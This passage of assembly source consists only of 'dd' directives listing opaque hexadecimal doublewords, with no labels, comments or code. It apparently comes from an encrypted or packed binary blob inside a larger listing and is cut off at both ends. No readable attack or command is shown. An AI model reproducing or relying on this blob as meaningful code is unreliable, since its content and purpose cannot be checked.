0DE015A48h, 0A6BA5203h dd 75BD423h, 851175DAh, 0F6E26053h, 6C248603h, 68082E51h dd 2FB10589h, 8DF08428h, 1827F8EBh, 16559131h, 0D22E0BB5h dd 0C890A3BCh, 58816D3Ch, 52043123h, 0BA28DAB2h, 17BE7E57h dd 7637AE50h, 13C9B893h, 0D26B1765h, 3A5791F6h, 3C504B4h dd 0BCBD27FFh, 0BE69A241h, 2D4AC12Dh, 8001FB3Ch, 0EAC086E2h dd 28C2D807h, 0AF5B19FCh, 30F54BA4h, 0ED0A26CDh, 0C580527Eh dd 0E9FC3943h, 0BFD0005Ah, 33E45301h, 26A4D29Dh, 1DE90DF9h dd 2B1DFD47h, 417F5F45h, 170B5EE7h, 50189D76h, 89561581h dd 0B63A5FFDh, 0B8A25BA2h, 5B548310h, 5A462AF4h, 9743BCFEh dd 697A38AEh, 0EFC035DEh, 0B7D014EAh, 2166CB31h, 0D2E96C01h dd 91A33EA4h, 0CE94502Fh, 721E444Eh, 7A2CE347h, 8490CD94h dd 1475B1BFh, 0EA4F65D8h, 0F573B427h, 68132CA0h, 958932D3h dd 195A35F3h, 7FCABBA1h, 81ACB44Bh, 92A80C4Bh, 66B69A1h dd 7AD020C2h, 5154502Dh, 147FC938h, 558690A1h, 19AF3DC6h dd 0E9041773h, 54BE627Ah, 9A097908h, 2FF2293Eh, 0BE5BDBF2h dd 95C6CC28h, 453067Ch, 0EC7FBE18h, 83C2BA60h, 590884EEh dd 0E9713CBAh, 3253882Bh, 91FDC592h, 7345924h, 8BCA3662h dd 8DF285Fh, 0FD6CB02Fh, 46912568h, 0BA9C6171h, 4ECF444Eh dd 0EF8082B8h, 1F117549h, 2D17064h, 975E01F2h, 0D23ADEE7h dd 535B35C4h, 5C2878Ch, 0A8E1DACh, 637F129h, 7C951C08h dd 0AB0C340Fh, 0C801BE1h, 642E5F4Eh, 31FB295Bh, 19172B4Eh dd 0FA6A64h, 0BC301FF5h, 0BA20E93Eh, 8F8B80D1h, 42930D4Bh dd 10DCF529h, 5E5AD508h, 5BCD24C0h, 0E2E90AAFh, 892C97C2h dd 7E6F68B8h, 0C853CB67h, 1E67C7BAh, 0D3264E6Fh, 5AFAE0EEh dd 0F1BB5303h, 0B7232248h, 0F7AED8D2h, 75FFA7C4h, 60B02F96h dd 386C5E7Eh, 54B60D2Dh, 2743FCAFh, 841202D1h, 8A5054h dd 6C3301A5h, 7272CE81h, 0E8084B55h, 2E01D324h, 16E334BFh dd 0A1FBD0DBh, 0A2044992h, 0AC419D56h, 267B9259h, 0B80414DFh dd 0E8C794Dh, 5C0BB1AEh, 401247E5h, 0E4E43368h, 286940B7h dd 4C8CF84Ah, 0B56A4A2Ch, 0F082D792h, 0EF4606D4h, 7EC0B7F1h dd 51276B1Ah, 0E90C983Fh, 56049D8Fh, 62B3AA57h, 0C23FFCD7h dd 309A3E9h, 2891F180h, 2F1476CAh, 0F22A8230h, 27A2EC86h dd 0AD99E146h, 7ACEE85Bh, 689E8899h, 0EEF3B18h, 0D61395C7h dd 3944FBADh, 201751B7h, 7E7DDBEAh, 90E8755Bh, 4E4E984Ah dd 0E18596FBh, 0C768E000h, 4B02663Eh, 0F507F45Dh, 5E059E01h dd 55AFE948h, 39685A50h, 8B87A544h, 0C760BBE9h, 8012F328h dd 1CD7ABC3h, 576EE0E2h, 27D42E27h, 6A4AA2E5h, 782554ECh dd 0DCD5B9Bh, 5B5594Ch, 0AC465783h, 588E009Fh, 0CA816EA7h dd 0F67C2840h, 5D88209Dh, 2AC2B90Ch, 4A4956FAh, 2C8D6808h dd 94E24182h, 0EE00A532h, 17D9707Ah, 6EC1C601h, 514A03C8h dd 0F66D2330h, 0BF3E486Eh, 491D5D04h, 8031C63Bh, 0B798F820h dd 0CDFA3C43h, 74D25C02h, 50E2885Eh, 6CB1AC16h, 769D9A3Eh dd 0C8679E25h, 90535F89h, 0FC235EA3h, 60257F96h, 25954C8Bh dd 0F1F9FA6Dh, 742D019Ch, 28E15B85h, 67F48858h, 0EAF62DE8h dd 68978125h, 303A49C2h, 8790665h, 315A6013h, 0E91C20EEh dd 9897F922h, 4C250C8Dh, 392488D5h, 9446AF61h, 0E2F03B5Eh dd 0F781A861h, 91251CD8h, 2D1CC022h, 10051FFCh, 0E91E819Fh dd 0C82A0608h, 52955E73h, 0E0C80955h, 32D5B3C5h, 0E41E4ABDh dd 4CC708E2h, 0D0276C1Bh, 58088168h, 72B3886Eh, 0B76F9B41h dd 0F75CC221h, 20A34EE9h, 0AF82CCCBh, 705BE2C0h, 7B1B2507h dd 719608B7h, 0B6BD122Bh, 0ADE1207h, 8CB27212h, 7E4929E0h dd 46BCE41h, 124FD24Dh, 0B3C0C501h, 0C02F2BDAh, 5EF3313Fh dd 0CC6DD9BDh, 0E809C107h, 0C002E918h, 0E0C62C73h, 0D9D3FBF8h dd 413EDEC7h, 0F38024EEh, 380B6E49h, 5A6CC1D5h, 3910B040h dd 4C01F21Ah, 5409FDC5h, 1702F04Dh, 0C1076541h, 9F87D26Ch dd 600DE680h, 0E031F58h, 9E679825h, 5DC5A846h, 3576029Fh dd 61E4104h, 72AFEDA8h, 365936D2h, 0B3BA4879h, 0FF44FA56h dd 934DA209h, 0FAB9B0A5h, 919293DFh, 68658F0h, 47F12FCEh dd 3DD6000Ch, 0F001B72Eh, 0BBBAA4E9h, 7988BF04h, 4AEF548Fh dd 82CEEBFEh, 0AF7D16ACh, 57526176h, 0AF14DA85h, 7A352204h dd 0A8624AC3h, 0A0AA0545h, 82BAF0D1h, 703D906h, 0CF5B3504h dd 0BAB7DE7h, 160081E6h, 314CDC3Fh, 84A56AB5h, 31EFA5DAh dd 4EB6C19h, 6219EFB0h, 7EE5BB1h, 7C12D7C0h, 0D124E82Ch dd 0DA40711Ch, 29BD5539h, 28652D75h, 76832F2Bh, 40274E92h dd 0AD3A56BBh, 0E5C10F23h, 0EEE61B6Dh, 8A78C6E9h, 80D5F60Bh dd 882C1D03h, 3341E882h, 0FE03618Bh, 3E09B9F4h, 2559E6E6h dd 5FCB8CEDh, 0C445D6F8h, 62297E25h, 58080097h, 0FC277BBAh dd 0AA62FD26h, 0D8BDE90Ah, 575A8927h, 514066D4h, 0F8060B5h dd 0CDFEBEF5h, 0D8D825BCh, 2F286CBDh, 0B3FE5EF0h, 2CE8D8C5h dd 1FC1FE2Fh, 3FDC612Fh, 662FD8CAh, 0FD24195Bh, 0F0E25D16h dd 587FAB50h, 0B5C59BBFh, 0FE93061Dh, 27519AC5h, 85C23A98h dd 0CD14A8FFh, 29324A03h, 0F89FF213h, 69D4951Dh, 465624ADh dd 0D8308691h, 94F1F098h, 283BF9B3h, 805B05DDh, 0DC1561C5h dd 3EBC4B66h, 483BE7B4h, 542327F6h, 970672C9h, 0A94D7F87h dd 0D73117CEh, 56C6AC22h, 0A5FC2553h, 266BFBD0h, 0FD4A46h dd 53701D0Dh, 692AE91Ah, 28CB82E3h, 80C1005Eh, 987C8832h dd 7649A5Ch, 9474A6BAh, 79F5A237h, 0C85615E9h, 0B37B58BEh dd 51C84524h, 1B4DD882h, 843946Bh, 5CC52FEDh, 47393382h dd 997C5Eh, 0A4054048h, 214E307Eh, 3113B7E8h, 0FCBF16DDh dd 0D2417C52h, 2DBB9844h, 124D698Ch, 61BFE89Ch, 40A6215h dd 68579040h, 589247D9h, 0E909EE5Ch, 397C6384h, 0A31736A6h dd 1F7EC68Ch, 4B25581Ah, 7A68B1B5h, 0B82011C0h, 796C9D69h dd 9EA6E020h, 70D6496Ch, 37C06841h, 308CD97Eh, 0C7B956CCh dd 46027BACh, 6608001h, 8ABD0D0Eh, 4702A43Bh, 0D54D4013h dd 8DF0129h, 0E6250BC6h, 49F0A0ADh, 20D5872h, 20F0D924h dd 0C2887908h, 6FFDE997h, 21D20DE9h, 809FD857h, 0D1C20D4Ah dd 8CF24155h, 9C6801FEh, 555263Fh, 52803A8Eh, 8FDA982h dd 0A6A43BDDh, 1CF34080h, 3D7BB339h, 59F85DB2h, 0DCEC5060h dd 4D5A1D7Eh, 0C613B589h, 835CBA58h, 826ABFC9h, 0F2ECE9F9h dd 7788A28Bh, 0FA07CB99h, 0E33AAA20h, 6291B840h, 5AD52F6Bh dd 0F92F5154h, 0C5E9E488h, 1ACEAA76h, 0C077985Bh, 0F9284B68h dd 7A4F56C9h, 0A4997879h, 0B72E5139h, 105C2FD1h, 0C0B1E912h dd 0A5BF57CBh, 3E18C975h, 637CEFC1h, 8B0382E4h, 2DD2737Ch dd 0A872DC0h, 7240882Dh, 2D409082h, 0A358D9D4h, 0A7392B9Eh dd 2107B1EBh, 2AE91CECh, 959ECBE5h, 762749FEh, 8545AD4Fh dd 0C23276A7h, 0B70297FCh, 1FE15F7Bh, 0A1256B30h, 0D523B309h dd 0BA5200B0h, 11719D84h, 5A28E909h, 1DEE5875h, 458B724h dd 0E8585EF5h, 0DF5CA29Ch, 0F720A944h, 6059974Ah, 1B80C59Eh dd 0EBE964C4h, 0EB6CB95Dh, 0EAB196EEh, 0C22DE98Bh, 203E1372h dd 0D0046DF0h, 9EE80E6h, 5A8080EEh, 589F4D04h, 5629E958h dd 7FCBA84h, 4B7559B0h dd 29C1B3D5h, 0F27E5C01h, 0D38E8D50h, 6A94C644h, 4786C0BEh dd 182D2B78h, 6D47845h, 8F2ACCE5h, 5505F20Dh, 2998B966h dd 52DD3BAh, 51CF837Ch, 4735215Bh, 0C47A7C0Ah, 0E90704B7h dd 270CFC7Dh, 5716625Eh, 0FC570A91h, 0BA9FDE78h, 55BD041Bh dd 19AA2D00h, 5E124969h, 36AF2168h, 6D203E7Eh, 0CC083B9Bh dd 89A238A6h, 0F800095Fh, 7F53EF35h, 62272EB0h, 0E7431BCDh dd 96EAE1A5h, 0C59D5037h, 835EA7D3h, 4132D55Ah, 0A9A11816h dd 0AB743E5Eh, 43CD9F80h, 0C136138Ah, 0F1430EE1h, 23AC0D00h dd 10C1D1F7h, 3FD66F8Bh, 12D0B030h, 0AD32CDE4h, 0DB233D24h dd 7EA632A9h, 31B6812h, 74E94530h, 96C39278h, 39F8AD1Dh dd 9668358h, 29F3E993h, 0A81307FFh, 0BC1B9CCh, 4FC037E3h dd 3E79900Dh, 0F0E1AF80h, 7B593D07h, 7F0BC98Eh, 0DAB01CECh dd 3E094FECh, 0EB59CF89h, 5A1E053h, 8C685CD2h, 0BD056A20h dd 3F93C3Bh, 0EABC9101h, 36611591h, 608677F4h, 0FA80C71h dd 0DABD7487h, 8F088237h, 1B25005Ah, 4BDDE973h, 0A20862B0h dd 0E208245Fh, 0CF12CAAh, 7307749h, 32573C60h, 0EC98ABA2h dd 6E09E775h, 2DAA4813h, 0E91C4CE8h, 5590924Ah, 583B4FE1h dd 392D495Ah, 0F10ED344h, 0C0567F2Ah, 0EB42FDC6h, 320CC344h dd 0E9C8D0EAh, 44B5C077h, 56536535h, 81D8AB02h, 2BCE5801h dd 6DA2812Fh, 0D618889Ch, 9ED582CDh, 43E918ACh, 6C79561h dd 0C3A7B502h, 515FFE89h, 0AD24AE08h, 789E77B6h, 0E4B58F89h dd 0D3682552h, 0E984F571h, 0DCAC553Eh, 5DCA32A2h, 8A7047F7h dd 409E8C91h, 14011962h, 9297A95h, 0ADACF409h, 8958015Fh dd 3920244Fh, 0D9E3E977h, 0D05C53D2h, 0B744BA43h, 6816689Eh dd 84AC47B3h, 1456FFD2h, 0BFE88316h, 0EB685FCBh, 189D760Ch dd 83B86DC9h, 486662E9h, 20E83326h, 0A1F24C50h, 9A9EFEBCh dd 313DB444h, 0EBFB07AEh, 0C045618Ch, 59B27E09h, 8C007CD4h dd 0C1613146h, 0CDFE07EDh, 0C824E409h, 94DC805Dh, 9A763322h dd 0FCC504E4h, 0C25CB87Fh, 7046C904h, 49CB5050h, 69EF2296h dd 81DE70F5h, 92B2173h, 40E955C5h, 0F7D8C1BBh, 0C383BEA4h dd 61D1D27Ah, 972C6FE6h, 565A099Eh, 2F2006F2h, 0E4D195DBh dd 947480Ah, 8C2E12BCh, 0B852E5B6h, 0F2FCBB80h, 8B9D343Eh dd 863D09FAh, 0C4B2348h, 70B26856h, 0B9FA3C9h, 0FBBFF63h dd 0CDF0DF2h, 0E01AC133h, 1AF96FAh, 5DE972C3h, 38CD7FF1h dd 0DFD0DE62h, 0C02E4409h, 271352D0h, 9400AF4Dh, 974394E1h dd 413A900Fh, 0EDC0016Ch, 0E9415CEh, 2E30D9FAh, 811705A7h dd 683B20EDh, 0D3951747h, 0BA5C4544h, 5463532h, 0FA09FF5Ah dd 68B22102h, 317E3A38h, 289F8A2Ch, 0D2139E7Ah, 0B9B7F0h dd 735C0FEBh, 16B76855h, 0E9264204h, 9BBC842Ch, 0C610CC5h dd 8077626Eh, 283EEF0Eh, 3F82B7CFh, 790C7F59h, 16CB9706h dd 2503D518h, 56FDB8E9h, 438687C3h, 89E1C531h, 1D322BC7h dd 2589F2D2h, 0B8D7462Eh, 0B5D33DB0h, 0E984216Fh, 49FAD8A0h dd 0A2828751h, 5905ECA3h, 0FA01ED60h, 0E90A0C8Bh, 0DD59A9DEh dd 8155511Ah, 0A6495EFAh, 0EEAB08C8h, 1E6A763Dh, 3B0EBB0Dh dd 1780407h, 6658EBC1h, 6AA28005h, 89056074h, 564A59CAh dd 1D93B201h, 0E12113E4h, 0A961BF41h, 33A94BBh, 0B86F6D13h dd 0E6C1058Bh, 0D4EE5602h, 9B1EC0E4h, 965F5BACh, 0CC8004ECh dd 475A9731h, 0DF1E87E2h, 7B7AD3F7h, 8708FB69h, 92DD982Bh dd 935A443Bh, 97C2A873h, 0E44D21EEh, 0B15B037Bh, 0C874570h dd 0E6028864h, 1261168h, 0D22FC9EEh, 45B9D33h, 2CDD4688h dd 79D6258Ch, 8FA5652h, 243F76E8h, 3E12C93Fh, 1D041252h dd 0F8ECC79Bh, 2034F0C0h, 96584064h, 0E9177307h, 0A4A8556Bh dd 915ED4A2h, 71DAEE81h, 9A40481Bh, 4B3414DEh, 92CEA84Bh dd 2D90CB08h, 7355EAC9h, 59E9C4FCh, 0E23FE0A1h, 44DEC4B2h dd 6B09AB17h, 574CAB21h, 3DDE589Eh, 8C32676Fh, 0BD51B6E9h dd 735EE30Fh, 96525E20h, 1AEC3BDDh, 0A6519DA1h, 28C5B583h dd 0AE88EAEEh, 0C6CE8EC0h, 0FA6B5AF0h, 2D679E3Bh, 86C22A74h dd 2C1969EFh, 276F5FA8h, 4F11E310h, 35A63E56h, 5631EFD7h dd 7F2509E9h, 1EE89320h, 9538F311h, 0D378CDh, 0CB506460h dd 0B471E927h, 7DB838C7h, 0D11D75A3h, 502AA7FDh, 5C01AB72h dd 81765463h, 273ED8CBh, 0E75E2F5Bh, 0B10BDC40h, 2FDBF70Ah dd 0ABD667E9h, 0A5BC2ACFh, 343750ADh, 0CBE25FD7h, 0B5F04ABBh dd 340C12A4h, 81D1F87Ch, 2905B28h, 0F3DEC02Bh, 652C3EA5h dd 0CA02E454h, 577B8978h, 0E5FC0310h, 0E9EA960Bh, 5A0A404Bh dd 26D87821h, 43A5E330h, 0E33E6B52h, 0C831A7E7h, 1409C585h dd 0BBC7A02Dh, 0D60C7706h, 534B2215h, 0B01322BAh, 58BCA0F7h dd 7154EF81h, 29722713h, 8200C74h, 9EA4E917h, 0FE4A47FDh dd 63050A41h, 0A07A353Dh, 62028CB0h, 9CE977F7h, 0AEE757FAh dd 42356804h, 0BE9649F9h, 41F19F38h, 0DB02ACDh, 3B189521h dd 0BFA7CA5Fh, 70C44A4h, 6AE8E7F4h, 0ADADF608h, 8AEB187Bh dd 48023D61h, 0FF682908h, 0E149EE8Eh, 0EF009CD4h, 0C8012FADh dd 0C8089459h, 817125A9h, 24E05F08h, 0C61F089Fh, 0A0B52C28h dd 5DAC31Ch, 4B7A281Dh, 3D3404F7h, 0FE017E09h, 0A246DAC1h dd 0A25F704Bh, 1D68C201h, 16A15166h, 95301656h, 12C4AE1Eh dd 1CF36E88h, 0BB088027h, 69E2C102h, 0C9D04357h, 5B08E950h dd 0E120D1BDh, 3F4283E9h, 0FC2AD7C9h, 518E605h, 2A7C6C5Bh dd 9D10FA01h, 7C5E2708h, 0B60262BAh, 555A5956h, 6D4C881Bh dd 0EB36417Fh, 10795203h, 0B6010A56h, 445C1E7Eh, 42E9844Fh dd 50F2CA81h, 5C18D5CCh, 2FC7707h, 8CF25B68h, 224DE943h dd 0C2D74B80h, 5C758B9Fh, 0FE6E51EAh, 0EF2C0109h, 0D52F0861h dd 79500475h, 1732AB69h, 9D92F819h, 255B06F9h, 14F4F284h dd 0E71084DAh, 29787FA2h, 0A38FB51h, 0AF1095CFh, 0A9EAAD68h dd 77914F12h, 0B0BC4C04h, 3DF6BE02h, 0E17F19C2h, 452A35D0h dd 0FA4EF2C0h, 0D789C7C1h, 0B651D889h, 4227DA46h, 0A70E7BAEh dd 0CF242245h, 8E48AF10h, 4B7EB61Eh, 197C4D95h, 4212C83h dd 0EA4E9392h, 3A5A7445h, 5F4160F7h, 8E6760C7h, 0D2FA37Bh dd 3BE4A37Fh, 0FD5C922Eh, 43974840h, 5E040824h, 3F2A7603h dd 2B0C0B78h, 6A82F3C0h, 2CD059CEh, 0E94280B4h, 1D14871h dd 1D48C1D0h, 3C440F31h, 13C93960h, 2D043A54h, 6802520Ah dd 0E1D1147Dh, 3AF25EE5h, 208068C9h, 20503529h, 257E4A00h dd 64B13DCh, 68F0382Dh, 3CE90984h, 20168E84h, 8FE92E83h dd 0FE0596A5h, 76A73C22h, 6FBB013Eh, 7A198B56h, 0F17B2DE4h dd 6E7D5E02h, 0D46C2336h, 0F2FC5318h, 14AB0178h, 7E02DCBBh dd 28F46F27h, 0BFE918DEh, 0F18032E2h, 0A8280C28h, 8E97CDF6h dd 0AA011452h, 1566C3C0h, 0FF61F606h, 163F2D08h, 0DC8346E0h dd 8F71B10h, 1131AF9Bh, 6947201Fh, 16B7A01h, 0E70159D4h dd 0A088C56h, 63E62858h, 892A0866h, 1B6B1810h, 105E0B18h dd 8C66791h, 31187BACh, 59085A60h, 741888A6h, 0BB3A0C32h dd 0F408B10h, 7D64409Ch, 63BA0540h, 65FE0893h, 20B3A120h dd 0FB31D137h, 73EB1809h, 5DBF0888h, 0C6E3B08h, 0E928BA61h dd 40466940h, 8B401381h, 5E8A40E7h, 0A1C441CDh, 88C4BF9h dd 99187E4Eh, 0D2084167h, 63C5185Ch, 4DED08B9h, 86C2935h dd 6259B086h, 3C2510DEh dd 57DE302h, 0B59846D4h, 4662F9ABh, 2EA6A08h, 210665FDh dd 91F73789h, 8568640h, 81411862h, 5B0F0360h, 0D897182Ah dd 20A56220h, 3931C17Eh, 2CA908B4h, 3139052h, 1818D8F3h dd 4408B7E5h, 538381EFh, 0D1103CE0h, 5B31347Ch, 90630B39h dd 0C410F129h, 80407D74h, 0A901F1B7h, 7A845259h, 1858D503h dd 186D9908h, 0CD8078F0h, 0E910C424h, 0AA7D0557h, 85CEC4Ch dd 0E7D9CA64h, 466192B8h, 804D534h, 18C29A31h, 8889FBFh dd 4B0CFE30h, 63852011h, 0FAB50817h, 9D071818h, 80776308h dd 0B680F44Ch, 267B8091h, 941C30C6h, 99626208h, 0CC0347E9h dd 0A7181089h, 6E6F77BFh, 5E083971h, 40E12824h, 61C46884h dd 0A90CA09Dh, 95405C79h, 5DF840F6h, 99E7ACA9h, 62E936A9h dd 0E0775995h, 1086CE18h, 0D6817C96h, 6F6BD051h, 4F54188Ch dd 0A1C41108h, 7A04CE6Eh, 448D06F9h, 0B0D74908h, 316F0E10h dd 0B56539B9h, 0D8495002h, 0DD8510Ah, 51D0256Ah, 3BBDBACh dd 0A4A919B5h, 8C240812h, 8E4D6A1h, 18536542h, 61AC44A6h dd 4AE50471h, 10600A06h, 7965DE34h, 0DA6BB84Fh, 10046318h dd 15748B18h, 54B873FDh, 786F9EB4h, 18717D08h, 3A010A0Ch dd 0A1660187h, 1448D802h, 0C180E1DDh, 8DB0A951h, 496D0888h dd 0FC9C6002h, 5CA464E8h, 9519B25Fh, 0E3C78743h, 40AD91h dd 62C473Bh, 13EB0275h, 0B9370E89h, 5A03DA7h, 38F4401h dd 0C90B4940h, 0CA4CF775h, 0DE127498h, 21FAF003h, 0E0C03349h dd 4F30B10Fh, 0E9AC2C30h, 0B3B54E64h, 55B8172Dh, 6884C5F8h dd 70D8BA43h, 0AE5C02FDh, 5D10E92Dh, 3CB1A7Dh, 0C5726834h dd 0F3211A56h, 248006C6h, 567DF581h, 0F950EBDh, 0F3C23C61h dd 5749E36Ah, 79A568E7h, 561863F0h, 0C8311019h, 0A72AC105h dd 93E90C8Dh, 0B8C37938h, 73027BDh, 567F3658h, 0CB2F9F3Fh dd 5DD812F8h, 36A4CE83h, 0BB808B7Ch, 0EC430025h, 83E38166h dd 5E011179h, 6D30BA52h, 0EB7041A9h, 0B57C0490h, 6D32120h dd 953E83A0h, 0D4E96ED4h, 0A658526Ah, 0C4EBE917h, 0F02565A9h dd 58983E5h, 0C8B0D702h, 0CED61E6Ah, 97F24C06h, 14B72E1Ch dd 8870AADh, 0F9E0A7A5h, 0EF3E5380h, 917F9210h, 0B2D235EDh dd 0E985D85Fh, 0F7095E5Dh, 72277BB5h, 2D62483Fh, 0E77097Ch dd 0E6755E0Ah, 5A2030F6h, 1478BA26h, 9816A128h, 51FB702h dd 0DDDAF70Dh, 0BCAAF20h, 52091BA4h, 0D58F65E9h, 0EBF75519h dd 6EF96898h, 2485AFBDh, 4191FB41h, 0E66E29B6h, 61BA9243h dd 2ED62957h, 28BFFD34h, 68F6E8B3h, 0F3757B25h, 0E95C406Fh dd 22DEED1Bh, 72C68087h, 3023F630h, 530A4F5h, 2C685366h dd 0E9274276h, 0DD8B4F5Eh, 0E67CF702h, 0FB9FC9D2h, 84183FF5h dd 6EECE55Bh, 0D2F7024h, 0EE83D749h, 9872B2Ch, 46C335FCh dd 0B06F5B88h, 2F0E7D1h, 0FC3A2F2Dh, 0BD550094h, 32517A6Eh dd 5E0CEDFEh, 0C1C4508h, 11423E8Eh, 93CD07FCh, 0C067D634h dd 720C71C5h, 0BB537901h, 1062192Ah, 35273087h, 0A87D69F3h dd 5B01083Fh, 535DEF31h, 6B0A6E80h, 0F5BB28D8h, 0D7279412h dd 1184D001h, 0BD2A0142h, 0DA116967h, 33B424C3h, 39E68155h dd 303C285Ah, 0E712711Fh, 13BAB173h, 245DFA6Eh, 68FE9417h dd 0FA485EBFh, 300BDECAh, 0E48CFE43h, 0EA8D889Bh, 0C38B5F04h dd 8BAE0167h, 0C64C762Eh, 0D30C9862h, 1C1CB001h, 252243E9h dd 0D1D393DFh, 0BC24228h, 2C8D1473h, 0F55C0AC7h, 9EC8B556h dd 3006CC4Dh, 4BBCE958h, 175A4C1Ch, 0E10F7C19h, 0FAA1F9F2h dd 432C2740h, 0A4C6883Ch, 918001E2h, 770BE405h, 6025F63Bh dd 0EFD11689h, 0F09F781h, 0DE3DC510h, 0E2D552F5h, 2F477FC8h dd 0AD05BADh, 0AAAEB8E9h, 92A99C8Eh, 0A055BD51h, 38565359h dd 26034D68h, 7FA4E903h, 400BE148h, 6124AA93h, 1C09738Ah dd 0EBEAA008h, 0EE0F3166h, 0BD895E5Dh, 7541D2CAh, 52CB58F7h dd 1D370840h, 8B9BA0F1h, 0EB64D6BFh, 51BA9C75h, 8F00BBF8h dd 0E91FA538h, 2B9ED068h, 0EF69D785h, 6670A304h, 26CB8CFBh dd 0FBE5740h, 685C6E73h, 14F90F46h, 0B0505B00h, 24D8F68Bh dd 0D0D0E878h, 3013840Ch, 0EE1E04C6h, 0CC90C01h, 38E91AFFh dd 0E27F3E2Eh, 0BF678FE6h, 26E484DCh, 3E925825h, 5393F0B5h dd 9671FFD7h, 97470A8Fh, 4D7EDEA7h, 0AD6D0E0Bh, 16033179h dd 3E5FF921h, 3E7D0FE2h, 0E8CB29A6h, 488CC58Bh, 25E9569Dh dd 2FE9FD34h, 97FE87F4h, 2181C4Fh, 0FBF5740h, 4E775671h dd 1850F9C9h, 7B9839B7h, 7CB58A2Eh, 0A782A30h, 122090BDh dd 0F0311AFCh, 56AF0BFh, 1A2CC75Eh, 277C6C4Bh, 0FF6C58C7h dd 0A365D534h, 0A23CD7ABh, 0AA681AF6h, 46B54ACDh, 0DF8027FDh dd 694C3468h, 0F726D616h, 0BB097FACh, 40873E54h, 9E5C11CDh dd 9C6E702Bh, 0CFB8A24h, 4BAC1F15h, 79A46DBEh, 0BF0C6159h dd 27A61E0h, 0CE9FBE9h, 0FCB9B2E9h, 22194F28h, 0ABFACA31h dd 758018ADh, 699563EBh, 0FE6AB660h, 800C783Bh, 94300AEAh dd 4BCC0C66h, 0E93209DDh, 9CE63D6Eh, 0C0395712h, 2801C0E0h dd 17D8D0F7h, 0ABFF3FBEh, 23989C01h, 0D06A7696h, 433E44E5h dd 0ABE15D4Fh, 64070698h, 0B027363Ah, 202F7877h, 592CE47Eh dd 0E978C257h, 9FE590BEh, 0E4A774D3h, 56EA95C4h, 5FF1CF5h dd 0C685AD6h, 32A69835h, 0AF222A41h, 7B3029CEh, 1E2BF33Eh dd 30FB0A8Ah, 3AC617A6h, 48383D02h, 0BFC0FABBh, 0BA7C850Ch dd 0E8A5C010h, 274AB8EDh, 0F17C9399h, 0F856266Fh, 0D189F12h dd 4173CD80h, 62F8E54Ah, 2FD69B25h, 2E3E6152h, 4FF8C124h dd 4C33CA5Fh, 0FA251258h, 1D7433EBh, 41C0B7C5h, 139100DEh dd 58BF5C66h, 0CACD806Bh, 230204A2h, 0C1C28367h, 0A7130829h dd 0A5EFD972h, 2B20DFF0h, 646801EFh, 5D16990Dh, 2928DC52h dd 0AA001B93h, 0E97C5902h, 196940Eh, 0DC365CBEh, 82A9E8AFh dd 0D42514C0h, 1C3B5232h, 71397F35h, 62AC7664h, 12D705E4h dd 95FA6886h, 0F802FB41h, 0DDFF35E9h, 0EF842746h, 452CEC38h dd 6E35F9DDh, 15B9803Eh, 0D7906566h, 18585BECh, 34110C0h dd 550AEC78h, 0E17A622Ah, 0A091C9BCh, 733D9421h, 6480642Ch dd 68105DBDh, 0AE7150F9h, 4FE7631Dh, 42F4CF80h, 34E97FE6h dd 5D8638CAh, 17FB53CEh, 0B096E871h, 0A848C1E9h, 72C33116h dd 37AEAC68h, 0B9732FE9h, 0BE56ED80h, 433F2ABAh, 495A134Eh dd 0E9B2B20h, 7B404C3Ah, 251DB302h, 7D09090Ah, 0A06ED620h dd 2948A752h, 2D501BC9h, 5AB8A43Ch, 53355801h, 0F01B2C71h dd 85031D8h, 0B05AE48Ah, 0DD809A9h, 0F55E168h, 3248A556h dd 48776169h, 0AFA49528h, 61BA9898h, 0FD688A25h, 51B4530Bh dd 59C9CCBDh, 0F91851D3h, 0BF648840h, 9AE955B8h, 0F51C6297h dd 0DF4BE045h, 68272094h, 0B00B66D2h, 993A622Dh, 66756C29h dd 58DD0987h, 0F3060BBAh, 5C67B1F5h, 7AB2617Dh, 0C5CBA017h dd 7BBC05CCh, 1D8330F6h, 0C15FFD4Fh, 0D403ED25h, 0D9CC87BDh dd 0EA3190D7h, 0B04B23E9h, 3381C274h, 8E6EA4C4h, 440B504Ch dd 4902E5E0h, 0C40F21BAh, 0F540DF70h, 0E925D331h, 80B685D6h dd 1909D31Eh, 52B354F6h, 0A28C5476h, 0BBB1086h, 69E82818h dd 5B5F0F5Ah, 0E90BEB8Bh, 0CD21B640h, 30D803F6h, 0D24A9C53h dd 5A8402F2h, 67BA00FEh, 9D55C715h, 17802BF3h, 0BF56B670h dd 0E57198Bh, 966E362Eh, 97E25C4Ch, 41500D00h, 0AFF5BB4Dh dd 0E9B2BE05h, 8AFFB792h dd 5DE813BBh, 1E3411BCh, 33F9C213h, 9C2DD2E8h, 0EBED882h dd 6B6AE381h, 0C3C037CEh, 207151BFh, 5BDF2103h, 0B50DE953h dd 3DF6F013h, 8D8EE92h, 2E4A810Ch, 10C629B2h, 0EB054F42h dd 1C2F7459h, 29734AEh, 9D206EEEh, 33839760h, 0E62D2EC1h dd 2E70ABB3h, 0B4765545h, 0FE6EF42Eh, 7DC9B15Bh, 57C1B632h dd 8152ADE9h, 4FC3BA12h, 55E85DCAh, 0E92FE13Eh, 0F46D700h dd 32B72B57h, 51CCF6E4h, 0C40DD7C1h, 0B932264Bh, 0F5290B11h dd 4DEF4600h, 455AB053h, 8407FBDh, 39F224E9h, 6F75A689h dd 0EFD76A64h, 0B33FD599h, 0C5E909BAh, 7716FF18h, 72E56AA1h dd 5950050Ch, 1BE09F5h, 295A080Ch, 41E3264Ch, 0D2233111h dd 0C6B15100h, 52C10380h, 0C9FED1F6h, 74CD67F9h, 91A1815Dh dd 3F6AD17Ch, 0F9C5D45h, 2180DF5Fh, 29E7A79Dh, 0C62EC3CEh dd 2DA987B0h, 7E023F89h, 52E2DBE9h, 38BE0423h, 0C04D5279h dd 50778002h, 92BECB60h, 5C086625h, 15015A4Ah, 0E94CD414h dd 22328D2h, 0A21970B9h, 2EE37537h, 2D5AD598h, 6E475202h dd 40E82901h, 2546151Ch, 0B5D67A20h, 71729981h, 0CA3D0584h dd 4B2AE912h, 0D774594Bh, 40B4F92Dh, 20AF6856h, 0E911F605h dd 9BFA38BFh, 0F5D71013h, 9C20917h, 0D7E46A4Dh, 82F685A9h dd 0C980592Ch, 24B88EA1h, 0A8C3C828h, 0A8E05F41h, 0B921B4C3h dd 0EB326389h, 10E70D96h, 0A4DD3F3Ah, 56FB4B6Ah, 8BE33FD6h dd 0EB324A30h, 0EA59C43Dh, 8D68C184h, 100BB341h, 7848FC1Ch dd 4ACE5910h, 0F89141EEh, 383F0536h, 6E68C245h, 2FF1CC7Ah dd 0AEE74CD2h, 